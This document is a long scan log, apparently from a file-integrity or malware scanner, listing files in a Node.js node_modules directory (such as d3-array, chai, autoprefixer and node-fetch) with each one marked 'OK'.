+/scan/node_modules/htmlparser2/lib/WritableStream.d.ts: OK
+/scan/node_modules/htmlparser2/lib/index.d.ts.map: OK
+/scan/node_modules/htmlparser2/lib/Parser.d.ts.map: OK
+/scan/node_modules/htmlparser2/lib/Tokenizer.d.ts.map: OK
+/scan/node_modules/escape-string-regexp/license: OK
+/scan/node_modules/escape-string-regexp/index.js: OK
+/scan/node_modules/escape-string-regexp/readme.md: OK
+/scan/node_modules/escape-string-regexp/package.json: OK
+/scan/node_modules/escape-string-regexp/index.d.ts: OK
+/scan/node_modules/lodash.isstring/LICENSE: OK
+/scan/node_modules/lodash.isstring/index.js: OK
+/scan/node_modules/lodash.isstring/README.md: OK
+/scan/node_modules/lodash.isstring/package.json: OK
+/scan/node_modules/std-env/dist/index.d.mts: OK
+/scan/node_modules/std-env/dist/index.d.cts: OK
+/scan/node_modules/std-env/dist/index.cjs: OK
+/scan/node_modules/std-env/dist/index.mjs: OK
+/scan/node_modules/std-env/dist/index.d.ts: OK
+/scan/node_modules/std-env/README.md: OK
+/scan/node_modules/std-env/package.json: OK
+/scan/node_modules/std-env/LICENCE: OK
+/scan/node_modules/create-require/create-require.d.ts: OK
+/scan/node_modules/create-require/LICENSE: OK
+/scan/node_modules/create-require/CHANGELOG.md: OK
+/scan/node_modules/create-require/README.md: OK
+/scan/node_modules/create-require/create-require.js: OK
+/scan/node_modules/create-require/package.json: OK
+/scan/node_modules/has-tostringtag/LICENSE: OK
+/scan/node_modules/has-tostringtag/test/shams/get-own-property-symbols.js: OK
+/scan/node_modules/has-tostringtag/test/shams/core-js.js: OK
+/scan/node_modules/has-tostringtag/test/index.js: OK
+/scan/node_modules/has-tostringtag/test/tests.js: OK
+/scan/node_modules/has-tostringtag/CHANGELOG.md: OK
+/scan/node_modules/has-tostringtag/.eslintrc: OK
+/scan/node_modules/has-tostringtag/index.js: OK
+/scan/node_modules/has-tostringtag/shams.js: OK
+/scan/node_modules/has-tostringtag/README.md: OK
+/scan/node_modules/has-tostringtag/package.json: OK
+/scan/node_modules/has-tostringtag/.github/FUNDING.yml: OK
+/scan/node_modules/has-tostringtag/tsconfig.json: OK
+/scan/node_modules/has-tostringtag/.nycrc: OK
+/scan/node_modules/has-tostringtag/shams.d.ts: OK
+/scan/node_modules/has-tostringtag/index.d.ts: OK
+/scan/node_modules/.DS_Store: OK
+/scan/node_modules/abort-controller/LICENSE: OK
+/scan/node_modules/abort-controller/dist/abort-controller.js: OK
+/scan/node_modules/abort-controller/dist/abort-controller.js.map: OK
+/scan/node_modules/abort-controller/dist/abort-controller.umd.js: OK
+/scan/node_modules/abort-controller/dist/abort-controller.umd.js.map: OK
+/scan/node_modules/abort-controller/dist/abort-controller.mjs: OK
+/scan/node_modules/abort-controller/dist/abort-controller.mjs.map: OK
+/scan/node_modules/abort-controller/dist/abort-controller.d.ts: OK
+/scan/node_modules/abort-controller/browser.mjs: OK
+/scan/node_modules/abort-controller/README.md: OK
+/scan/node_modules/abort-controller/polyfill.js: OK
+/scan/node_modules/abort-controller/package.json: OK
+/scan/node_modules/abort-controller/polyfill.mjs: OK
+/scan/node_modules/abort-controller/browser.js: OK
+/scan/node_modules/mz/child_process.js: OK
+/scan/node_modules/mz/LICENSE: OK
+/scan/node_modules/mz/readline.js: OK
+/scan/node_modules/mz/HISTORY.md: OK
+/scan/node_modules/mz/index.js: OK
+/scan/node_modules/mz/dns.js: OK
+/scan/node_modules/mz/README.md: OK
+/scan/node_modules/mz/package.json: OK
+/scan/node_modules/mz/crypto.js: OK
+/scan/node_modules/mz/zlib.js: OK
+/scan/node_modules/mz/fs.js: OK
+/scan/node_modules/stream-shift/test.js: OK
+/scan/node_modules/stream-shift/LICENSE: OK
+/scan/node_modules/stream-shift/index.js: OK
+/scan/node_modules/stream-shift/README.md: OK
+/scan/node_modules/stream-shift/package.json: OK
+/scan/node_modules/stream-shift/.github/workflows/test.yml: OK
+/scan/node_modules/strip-json-comments/license: OK
+/scan/node_modules/strip-json-comments/index.js: OK
+/scan/node_modules/strip-json-comments/readme.md: OK
+/scan/node_modules/strip-json-comments/package.json: OK
+/scan/node_modules/strip-json-comments/index.d.ts: OK
+/scan/node_modules/lru-cache/LICENSE: OK
+/scan/node_modules/lru-cache/index.js: OK
+/scan/node_modules/lru-cache/README.md: OK
+/scan/node_modules/lru-cache/package.json: OK
+/scan/node_modules/imurmurhash/imurmurhash.js: OK
+/scan/node_modules/imurmurhash/README.md: OK
+/scan/node_modules/imurmurhash/package.json: OK
+/scan/node_modules/imurmurhash/imurmurhash.min.js: OK
+/scan/node_modules/unicode-properties/LICENSE: OK
+/scan/node_modules/unicode-properties/dist/module.mjs: OK
+/scan/node_modules/unicode-properties/dist/main.cjs.map: OK
+/scan/node_modules/unicode-properties/dist/main.cjs: OK
+/scan/node_modules/unicode-properties/dist/module.mjs.map: OK
+/scan/node_modules/unicode-properties/readme.md: OK
+/scan/node_modules/unicode-properties/package.json: OK
+/scan/node_modules/d3-array/LICENSE: OK
+/scan/node_modules/d3-array/dist/d3-array.js: OK
+/scan/node_modules/d3-array/dist/d3-array.min.js: OK
+/scan/node_modules/d3-array/README.md: OK
+/scan/node_modules/d3-array/package.json: OK
+/scan/node_modules/d3-array/src/number.js: OK
+/scan/node_modules/d3-array/src/range.js: OK
+/scan/node_modules/d3-array/src/sort.js: OK
+/scan/node_modules/d3-array/src/pairs.js: OK
+/scan/node_modules/d3-array/src/ticks.js: OK
+/scan/node_modules/d3-array/src/reverse.js: OK
+/scan/node_modules/d3-array/src/deviation.js: OK
+/scan/node_modules/d3-array/src/every.js: OK
+/scan/node_modules/d3-array/src/greatestIndex.js: OK
+/scan/node_modules/d3-array/src/variance.js: OK
+/scan/node_modules/d3-array/src/least.js: OK
+/scan/node_modules/d3-array/src/bin.js: OK
+/scan/node_modules/d3-array/src/maxIndex.js: OK
+/scan/node_modules/d3-array/src/cross.js: OK
+/scan/node_modules/d3-array/src/merge.js: OK
+/scan/node_modules/d3-array/src/permute.js: OK
+/scan/node_modules/d3-array/src/superset.js: OK
+/scan/node_modules/d3-array/src/max.js: OK
+/scan/node_modules/d3-array/src/fsum.js: OK
+/scan/node_modules/d3-array/src/difference.js: OK
+/scan/node_modules/d3-array/src/reduce.js: OK
+/scan/node_modules/d3-array/src/bisect.js: OK
+/scan/node_modules/d3-array/src/index.js: OK
+/scan/node_modules/d3-array/src/quantile.js: OK
+/scan/node_modules/d3-array/src/some.js: OK
+/scan/node_modules/d3-array/src/descending.js: OK
+/scan/node_modules/d3-array/src/array.js: OK
+/scan/node_modules/d3-array/src/extent.js: OK
+/scan/node_modules/d3-array/src/intersection.js: OK
+/scan/node_modules/d3-array/src/sum.js: OK
+/scan/node_modules/d3-array/src/cumsum.js: OK
+/scan/node_modules/d3-array/src/threshold/scott.js: OK
+/scan/node_modules/d3-array/src/threshold/freedmanDiaconis.js: OK
+/scan/node_modules/d3-array/src/threshold/sturges.js: OK
+/scan/node_modules/d3-array/src/leastIndex.js: OK
+/scan/node_modules/d3-array/src/bisector.js: OK
+/scan/node_modules/d3-array/src/ascending.js: OK
+/scan/node_modules/d3-array/src/constant.js: OK
+/scan/node_modules/d3-array/src/count.js: OK
+/scan/node_modules/d3-array/src/disjoint.js: OK
+/scan/node_modules/d3-array/src/union.js: OK
+/scan/node_modules/d3-array/src/minIndex.js: OK
+/scan/node_modules/d3-array/src/identity.js: OK
+/scan/node_modules/d3-array/src/rank.js: OK
+/scan/node_modules/d3-array/src/transpose.js: OK
+/scan/node_modules/d3-array/src/subset.js: OK
+/scan/node_modules/d3-array/src/groupSort.js: OK
+/scan/node_modules/d3-array/src/zip.js: OK
+/scan/node_modules/d3-array/src/blur.js: OK
+/scan/node_modules/d3-array/src/greatest.js: OK
+/scan/node_modules/d3-array/src/mode.js: OK
+/scan/node_modules/d3-array/src/shuffle.js: OK
+/scan/node_modules/d3-array/src/mean.js: OK
+/scan/node_modules/d3-array/src/min.js: OK
+/scan/node_modules/d3-array/src/quickselect.js: OK
+/scan/node_modules/d3-array/src/map.js: OK
+/scan/node_modules/d3-array/src/scan.js: OK
+/scan/node_modules/d3-array/src/filter.js: OK
+/scan/node_modules/d3-array/src/nice.js: OK
+/scan/node_modules/d3-array/src/group.js: OK
+/scan/node_modules/d3-array/src/median.js: OK
+/scan/node_modules/eslint-scope/LICENSE: OK
+/scan/node_modules/eslint-scope/dist/eslint-scope.cjs: OK
+/scan/node_modules/eslint-scope/README.md: OK
+/scan/node_modules/eslint-scope/package.json: OK
+/scan/node_modules/eslint-scope/lib/referencer.js: OK
+/scan/node_modules/eslint-scope/lib/index.js: OK
+/scan/node_modules/eslint-scope/lib/version.js: OK
+/scan/node_modules/eslint-scope/lib/scope-manager.js: OK
+/scan/node_modules/eslint-scope/lib/scope.js: OK
+/scan/node_modules/eslint-scope/lib/pattern-visitor.js: OK
+/scan/node_modules/eslint-scope/lib/variable.js: OK
+/scan/node_modules/eslint-scope/lib/reference.js: OK
+/scan/node_modules/eslint-scope/lib/definition.js: OK
+/scan/node_modules/type-fest/license: OK
+/scan/node_modules/type-fest/source/package-json.d.ts: OK
+/scan/node_modules/type-fest/source/entry.d.ts: OK
+/scan/node_modules/type-fest/source/conditional-pick.d.ts: OK
+/scan/node_modules/type-fest/source/entries.d.ts: OK
+/scan/node_modules/type-fest/source/async-return-type.d.ts: OK
+/scan/node_modules/type-fest/source/value-of.d.ts: OK
+/scan/node_modules/type-fest/source/conditional-except.d.ts: OK
+/scan/node_modules/type-fest/source/promise-value.d.ts: OK
+/scan/node_modules/type-fest/source/set-return-type.d.ts: OK
+/scan/node_modules/type-fest/source/promisable.d.ts: OK
+/scan/node_modules/type-fest/source/opaque.d.ts: OK
+/scan/node_modules/type-fest/source/literal-union.d.ts: OK
+/scan/node_modules/type-fest/source/readonly-deep.d.ts: OK
+/scan/node_modules/type-fest/source/stringified.d.ts: OK
+/scan/node_modules/type-fest/source/merge-exclusive.d.ts: OK
+/scan/node_modules/type-fest/source/fixed-length-array.d.ts: OK
+/scan/node_modules/type-fest/source/utilities.d.ts: OK
+/scan/node_modules/type-fest/source/union-to-intersection.d.ts: OK
+/scan/node_modules/type-fest/source/iterable-element.d.ts: OK
+/scan/node_modules/type-fest/source/mutable.d.ts: OK
+/scan/node_modules/type-fest/source/require-exactly-one.d.ts: OK
+/scan/node_modules/type-fest/source/except.d.ts: OK
+/scan/node_modules/type-fest/source/partial-deep.d.ts: OK
+/scan/node_modules/type-fest/source/conditional-keys.d.ts: OK
+/scan/node_modules/type-fest/source/merge.d.ts: OK
+/scan/node_modules/type-fest/source/set-required.d.ts: OK
+/scan/node_modules/type-fest/source/require-at-least-one.d.ts: OK
+/scan/node_modules/type-fest/source/tsconfig-json.d.ts: OK
+/scan/node_modules/type-fest/source/set-optional.d.ts: OK
+/scan/node_modules/type-fest/source/basic.d.ts: OK
+/scan/node_modules/type-fest/source/asyncify.d.ts: OK
+/scan/node_modules/type-fest/ts41/snake-case.d.ts: OK
+/scan/node_modules/type-fest/ts41/camel-case.d.ts: OK
+/scan/node_modules/type-fest/ts41/pascal-case.d.ts: OK
+/scan/node_modules/type-fest/ts41/delimiter-case.d.ts: OK
+/scan/node_modules/type-fest/ts41/kebab-case.d.ts: OK
+/scan/node_modules/type-fest/ts41/index.d.ts: OK
+/scan/node_modules/type-fest/readme.md: OK
+/scan/node_modules/type-fest/package.json: OK
+/scan/node_modules/type-fest/base.d.ts: OK
+/scan/node_modules/type-fest/index.d.ts: OK
+/scan/node_modules/commander/LICENSE: OK
+/scan/node_modules/commander/typings/index.d.ts: OK
+/scan/node_modules/commander/index.js: OK
+/scan/node_modules/commander/Readme.md: OK
+/scan/node_modules/commander/package.json: OK
+/scan/node_modules/commander/esm.mjs: OK
+/scan/node_modules/commander/lib/argument.js: OK
+/scan/node_modules/commander/lib/option.js: OK
+/scan/node_modules/commander/lib/error.js: OK
+/scan/node_modules/commander/lib/command.js: OK
+/scan/node_modules/commander/lib/help.js: OK
+/scan/node_modules/commander/lib/suggestSimilar.js: OK
+/scan/node_modules/commander/package-support.json: OK
+/scan/node_modules/punycode/punycode.es6.js: OK
+/scan/node_modules/punycode/punycode.js: OK
+/scan/node_modules/punycode/LICENSE-MIT.txt: OK
+/scan/node_modules/punycode/README.md: OK
+/scan/node_modules/punycode/package.json: OK
+/scan/node_modules/require-directory/.npmignore: OK
+/scan/node_modules/require-directory/LICENSE: OK
+/scan/node_modules/require-directory/index.js: OK
+/scan/node_modules/require-directory/.jshintrc: OK
+/scan/node_modules/require-directory/README.markdown: OK
+/scan/node_modules/require-directory/package.json: OK
+/scan/node_modules/require-directory/.travis.yml: OK
+/scan/node_modules/proxy-addr/LICENSE: OK
+/scan/node_modules/proxy-addr/HISTORY.md: OK
+/scan/node_modules/proxy-addr/index.js: OK
+/scan/node_modules/proxy-addr/README.md: OK
+/scan/node_modules/proxy-addr/package.json: OK
+/scan/node_modules/@scarf/scarf/LICENSE: OK
+/scan/node_modules/@scarf/scarf/README.md: OK
+/scan/node_modules/@scarf/scarf/package.json: OK
+/scan/node_modules/@scarf/scarf/report.js: OK
+/scan/node_modules/depd/LICENSE: OK
+/scan/node_modules/depd/History.md: OK
+/scan/node_modules/depd/index.js: OK
+/scan/node_modules/depd/Readme.md: OK
+/scan/node_modules/depd/package.json: OK
+/scan/node_modules/depd/lib/browser/index.js: OK
+/scan/node_modules/core-util-is/LICENSE: OK
+/scan/node_modules/core-util-is/README.md: OK
+/scan/node_modules/core-util-is/package.json: OK
+/scan/node_modules/core-util-is/lib/util.js: OK
+/scan/node_modules/duplexify/test.js: OK
+/scan/node_modules/duplexify/LICENSE: OK
+/scan/node_modules/duplexify/index.js: OK
+/scan/node_modules/duplexify/README.md: OK
+/scan/node_modules/duplexify/package.json: OK
+/scan/node_modules/duplexify/example.js: OK
+/scan/node_modules/duplexify/.travis.yml: OK
+/scan/node_modules/abbrev/LICENSE: OK
+/scan/node_modules/abbrev/README.md: OK
+/scan/node_modules/abbrev/package.json: OK
+/scan/node_modules/abbrev/lib/index.js: OK
+/scan/node_modules/estree-walker/types/sync.d.ts: OK
+/scan/node_modules/estree-walker/types/walker.d.ts: OK
+/scan/node_modules/estree-walker/types/index.d.ts: OK
+/scan/node_modules/estree-walker/types/async.d.ts: OK
+/scan/node_modules/estree-walker/LICENSE: OK
+/scan/node_modules/estree-walker/README.md: OK
+/scan/node_modules/estree-walker/package.json: OK
+/scan/node_modules/estree-walker/src/walker.js: OK
+/scan/node_modules/estree-walker/src/sync.js: OK
+/scan/node_modules/estree-walker/src/index.js: OK
+/scan/node_modules/estree-walker/src/async.js: OK
+/scan/node_modules/autoprefixer/LICENSE: OK
+/scan/node_modules/autoprefixer/bin/autoprefixer: OK
+/scan/node_modules/autoprefixer/README.md: OK
+/scan/node_modules/autoprefixer/package.json: OK
+/scan/node_modules/autoprefixer/lib/transition.js: OK
+/scan/node_modules/autoprefixer/lib/selector.js: OK
+/scan/node_modules/autoprefixer/lib/supports.js: OK
+/scan/node_modules/autoprefixer/lib/brackets.js: OK
+/scan/node_modules/autoprefixer/lib/at-rule.js: OK
+/scan/node_modules/autoprefixer/lib/declaration.js: OK
+/scan/node_modules/autoprefixer/lib/old-selector.js: OK
+/scan/node_modules/autoprefixer/lib/processor.js: OK
+/scan/node_modules/autoprefixer/lib/old-value.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/order.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/user-select.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/file-selector-button.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/gradient.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/background-size.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-utils.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-spec.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-flow.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/autofill.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-rows-columns.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/print-color-adjust.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-grow.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-row-column.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/display-flex.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/pixelated.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-row-align.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/placeholder.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/mask-composite.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/place-self.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/cross-fade.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-area.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/intrinsic.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-direction.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-template-areas.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/image-set.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/inline-logical.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/placeholder-shown.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/display-grid.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/appearance.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/justify-content.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/transform-decl.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/break-props.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/text-emphasis-position.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-wrap.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-end.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/text-decoration.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/align-items.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/filter-value.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/block-logical.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/background-clip.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/align-content.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-template.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/image-rendering.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-shrink.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/mask-border.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/animation.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/align-self.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-column-align.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/writing-mode.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/filter.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/flex-basis.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/border-radius.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/overscroll-behavior.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/backdrop-filter.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/fullscreen.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/grid-start.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/border-image.js: OK
+/scan/node_modules/autoprefixer/lib/hacks/text-decoration-skip-ink.js: OK
+/scan/node_modules/autoprefixer/lib/vendor.js: OK
+/scan/node_modules/autoprefixer/lib/autoprefixer.d.ts: OK
+/scan/node_modules/autoprefixer/lib/resolution.js: OK
+/scan/node_modules/autoprefixer/lib/info.js: OK
+/scan/node_modules/autoprefixer/lib/value.js: OK
+/scan/node_modules/autoprefixer/lib/autoprefixer.js: OK
+/scan/node_modules/autoprefixer/lib/prefixes.js: OK
+/scan/node_modules/autoprefixer/lib/utils.js: OK
+/scan/node_modules/autoprefixer/lib/browsers.js: OK
+/scan/node_modules/autoprefixer/lib/prefixer.js: OK
+/scan/node_modules/autoprefixer/data/prefixes.js: OK
+/scan/node_modules/text-table/LICENSE: OK
+/scan/node_modules/text-table/test/center.js: OK
+/scan/node_modules/text-table/test/doubledot.js: OK
+/scan/node_modules/text-table/test/ansi-colors.js: OK
+/scan/node_modules/text-table/test/align.js: OK
+/scan/node_modules/text-table/test/table.js: OK
+/scan/node_modules/text-table/test/dotalign.js: OK
+/scan/node_modules/text-table/example/center.js: OK
+/scan/node_modules/text-table/example/doubledot.js: OK
+/scan/node_modules/text-table/example/align.js: OK
+/scan/node_modules/text-table/example/table.js: OK
+/scan/node_modules/text-table/example/dotalign.js: OK
+/scan/node_modules/text-table/index.js: OK
+/scan/node_modules/text-table/readme.markdown: OK
+/scan/node_modules/text-table/package.json: OK
+/scan/node_modules/text-table/.travis.yml: OK
+/scan/node_modules/rimraf/LICENSE: OK
+/scan/node_modules/rimraf/CHANGELOG.md: OK
+/scan/node_modules/rimraf/bin.js: OK
+/scan/node_modules/rimraf/rimraf.js: OK
+/scan/node_modules/rimraf/README.md: OK
+/scan/node_modules/rimraf/package.json: OK
+/scan/node_modules/escalade/license: OK
+/scan/node_modules/escalade/dist/index.js: OK
+/scan/node_modules/escalade/dist/index.mjs: OK
+/scan/node_modules/escalade/index.d.mts: OK
+/scan/node_modules/escalade/readme.md: OK
+/scan/node_modules/escalade/package.json: OK
+/scan/node_modules/escalade/sync/index.d.mts: OK
+/scan/node_modules/escalade/sync/index.js: OK
+/scan/node_modules/escalade/sync/index.mjs: OK
+/scan/node_modules/escalade/sync/index.d.ts: OK
+/scan/node_modules/escalade/index.d.ts: OK
+/scan/node_modules/postcss-load-config/LICENSE: OK
+/scan/node_modules/postcss-load-config/README.md: OK
+/scan/node_modules/postcss-load-config/package.json: OK
+/scan/node_modules/postcss-load-config/src/plugins.js: OK
+/scan/node_modules/postcss-load-config/src/options.js: OK
+/scan/node_modules/postcss-load-config/src/index.js: OK
+/scan/node_modules/postcss-load-config/src/req.js: OK
+/scan/node_modules/postcss-load-config/src/index.d.ts: OK
+/scan/node_modules/node-fetch/LICENSE.md: OK
+/scan/node_modules/node-fetch/README.md: OK
+/scan/node_modules/node-fetch/package.json: OK
+/scan/node_modules/node-fetch/lib/index.js: OK
+/scan/node_modules/node-fetch/lib/index.es.js: OK
+/scan/node_modules/node-fetch/lib/index.mjs: OK
+/scan/node_modules/node-fetch/browser.js: OK
+/scan/node_modules/ip-address/LICENSE: OK
+/scan/node_modules/ip-address/dist/v6/constants.js: OK
+/scan/node_modules/ip-address/dist/v6/constants.d.ts: OK
+/scan/node_modules/ip-address/dist/v6/regular-expressions.js: OK
+/scan/node_modules/ip-address/dist/v6/constants.js.map: OK
+/scan/node_modules/ip-address/dist/v6/regular-expressions.js.map: OK
+/scan/node_modules/ip-address/dist/v6/helpers.js.map: OK
+/scan/node_modules/ip-address/dist/v6/regular-expressions.d.ts: OK
+/scan/node_modules/ip-address/dist/v6/helpers.js: OK
+/scan/node_modules/ip-address/dist/v6/helpers.d.ts: OK
+/scan/node_modules/ip-address/dist/common.d.ts: OK
+/scan/node_modules/ip-address/dist/ipv4.js.map: OK
+/scan/node_modules/ip-address/dist/ip-address.js.map: OK
+/scan/node_modules/ip-address/dist/ipv4.js: OK
+/scan/node_modules/ip-address/dist/address-error.js.map: OK
+/scan/node_modules/ip-address/dist/ipv4.d.ts: OK
+/scan/node_modules/ip-address/dist/ipv6.js.map: OK
+/scan/node_modules/ip-address/dist/ipv6.js: OK
+/scan/node_modules/ip-address/dist/ip-address.d.ts: OK
+/scan/node_modules/ip-address/dist/ip-address.js: OK
+/scan/node_modules/ip-address/dist/v4/constants.js: OK
+/scan/node_modules/ip-address/dist/v4/constants.d.ts: OK
+/scan/node_modules/ip-address/dist/v4/constants.js.map: OK
+/scan/node_modules/ip-address/dist/ipv6.d.ts: OK
+/scan/node_modules/ip-address/dist/address-error.js: OK
+/scan/node_modules/ip-address/dist/common.js: OK
+/scan/node_modules/ip-address/dist/address-error.d.ts: OK
+/scan/node_modules/ip-address/dist/common.js.map: OK
+/scan/node_modules/ip-address/README.md: OK
+/scan/node_modules/ip-address/package.json: OK
+/scan/node_modules/chai/CODE_OF_CONDUCT.md: OK
+/scan/node_modules/chai/LICENSE: OK
+/scan/node_modules/chai/register-assert.js: OK
+/scan/node_modules/chai/karma.sauce.js: OK
+/scan/node_modules/chai/CODEOWNERS: OK
+/scan/node_modules/chai/History.md: OK
+/scan/node_modules/chai/register-expect.js: OK
+/scan/node_modules/chai/index.js: OK
+/scan/node_modules/chai/bower.json: OK
+/scan/node_modules/chai/ReleaseNotes.md: OK
+/scan/node_modules/chai/README.md: OK
+/scan/node_modules/chai/register-should.js: OK
+/scan/node_modules/chai/package.json: OK
+/scan/node_modules/chai/CONTRIBUTING.md: OK
+/scan/node_modules/chai/karma.conf.js: OK
+/scan/node_modules/chai/index.mjs: OK
+/scan/node_modules/chai/lib/chai/interface/assert.js: OK
+/scan/node_modules/chai/lib/chai/interface/expect.js: OK
+/scan/node_modules/chai/lib/chai/interface/should.js: OK
+/scan/node_modules/chai/lib/chai/assertion.js: OK
+/scan/node_modules/chai/lib/chai/core/assertions.js: OK
+/scan/node_modules/chai/lib/chai/utils/getEnumerableProperties.js: OK
+/scan/node_modules/chai/lib/chai/utils/addChainableMethod.js: OK
+/scan/node_modules/chai/lib/chai/utils/overwriteProperty.js: OK
+/scan/node_modules/chai/lib/chai/utils/getOwnEnumerableProperties.js: OK
+/scan/node_modules/chai/lib/chai/utils/test.js: OK
+/scan/node_modules/chai/lib/chai/utils/getMessage.js: OK
+/scan/node_modules/chai/lib/chai/utils/flag.js: OK
+/scan/node_modules/chai/lib/chai/utils/isProxyEnabled.js: OK
+/scan/node_modules/chai/lib/chai/utils/isNaN.js: OK
+/scan/node_modules/chai/lib/chai/utils/index.js: OK
+/scan/node_modules/chai/lib/chai/utils/getOwnEnumerablePropertySymbols.js: OK
+/scan/node_modules/chai/lib/chai/utils/overwriteChainableMethod.js: OK
+/scan/node_modules/chai/lib/chai/utils/compareByInspect.js: OK
+/scan/node_modules/chai/lib/chai/utils/getOperator.js: OK
+/scan/node_modules/chai/lib/chai/utils/addLengthGuard.js: OK
+/scan/node_modules/chai/lib/chai/utils/transferFlags.js: OK
+/scan/node_modules/chai/lib/chai/utils/expectTypes.js: OK
+/scan/node_modules/chai/lib/chai/utils/proxify.js: OK
+/scan/node_modules/chai/lib/chai/utils/overwriteMethod.js: OK
+/scan/node_modules/chai/lib/chai/utils/addProperty.js: OK
+/scan/node_modules/chai/lib/chai/utils/objDisplay.js: OK
+/scan/node_modules/chai/lib/chai/utils/addMethod.js: OK
+/scan/node_modules/chai/lib/chai/utils/getProperties.js: OK
+/scan/node_modules/chai/lib/chai/utils/inspect.js: OK
+/scan/node_modules/chai/lib/chai/utils/getActual.js: OK
+/scan/node_modules/chai/lib/chai/config.js: OK
+/scan/node_modules/chai/lib/chai.js: OK
+/scan/node_modules/chai/chai.js: OK
+/scan/node_modules/chai/sauce.browsers.js: OK
+/scan/node_modules/range-parser/LICENSE: OK
+/scan/node_modules/range-parser/HISTORY.md: OK
+/scan/node_modules/range-parser/index.js: OK
+/scan/node_modules/range-parser/README.md: OK
+/scan/node_modules/range-parser/package.json: OK
+/scan/node_modules/color-string/LICENSE: OK
+/scan/node_modules/color-string/index.js: OK
+/scan/node_modules/color-string/README.md: OK
+/scan/node_modules/color-string/package.json: OK
+/scan/node_modules/hsl-to-rgb-for-reals/test/converter.spec.js: OK
+/scan/node_modules/hsl-to-rgb-for-reals/test/sample.json: OK
+/scan/node_modules/hsl-to-rgb-for-reals/converter.js: OK
+/scan/node_modules/hsl-to-rgb-for-reals/README.md: OK
+/scan/node_modules/hsl-to-rgb-for-reals/package.json: OK
+/scan/node_modules/redis-parser/.npmignore: OK
+/scan/node_modules/redis-parser/LICENSE: OK
+/scan/node_modules/redis-parser/changelog.md: OK
+/scan/node_modules/redis-parser/index.js: OK
+/scan/node_modules/redis-parser/README.md: OK
+/scan/node_modules/redis-parser/package.json: OK
+/scan/node_modules/redis-parser/lib/parser.js: OK
+/scan/node_modules/side-channel-list/LICENSE: OK
+/scan/node_modules/side-channel-list/test/index.js: OK
+/scan/node_modules/side-channel-list/CHANGELOG.md: OK
+/scan/node_modules/side-channel-list/.eslintrc: OK
+/scan/node_modules/side-channel-list/index.js: OK
+/scan/node_modules/side-channel-list/.editorconfig: OK
+/scan/node_modules/side-channel-list/README.md: OK
+/scan/node_modules/side-channel-list/package.json: OK
+/scan/node_modules/side-channel-list/.github/FUNDING.yml: OK
+/scan/node_modules/side-channel-list/list.d.ts: OK
+/scan/node_modules/side-channel-list/tsconfig.json: OK
+/scan/node_modules/side-channel-list/.nycrc: OK
+/scan/node_modules/side-channel-list/index.d.ts: OK
+/scan/node_modules/fast-json-stable-stringify/benchmark/index.js: OK
+/scan/node_modules/fast-json-stable-stringify/benchmark/test.json: OK
+/scan/node_modules/fast-json-stable-stringify/.eslintrc.yml: OK
+/scan/node_modules/fast-json-stable-stringify/LICENSE: OK
+/scan/node_modules/fast-json-stable-stringify/test/str.js: OK
+/scan/node_modules/fast-json-stable-stringify/test/nested.js: OK
+/scan/node_modules/fast-json-stable-stringify/test/cmp.js: OK
+/scan/node_modules/fast-json-stable-stringify/test/to-json.js: OK
+/scan/node_modules/fast-json-stable-stringify/example/key_cmp.js: OK
+/scan/node_modules/fast-json-stable-stringify/example/str.js: OK
+/scan/node_modules/fast-json-stable-stringify/example/nested.js: OK
+/scan/node_modules/fast-json-stable-stringify/example/value_cmp.js: OK
+/scan/node_modules/fast-json-stable-stringify/index.js: OK
+/scan/node_modules/fast-json-stable-stringify/README.md: OK
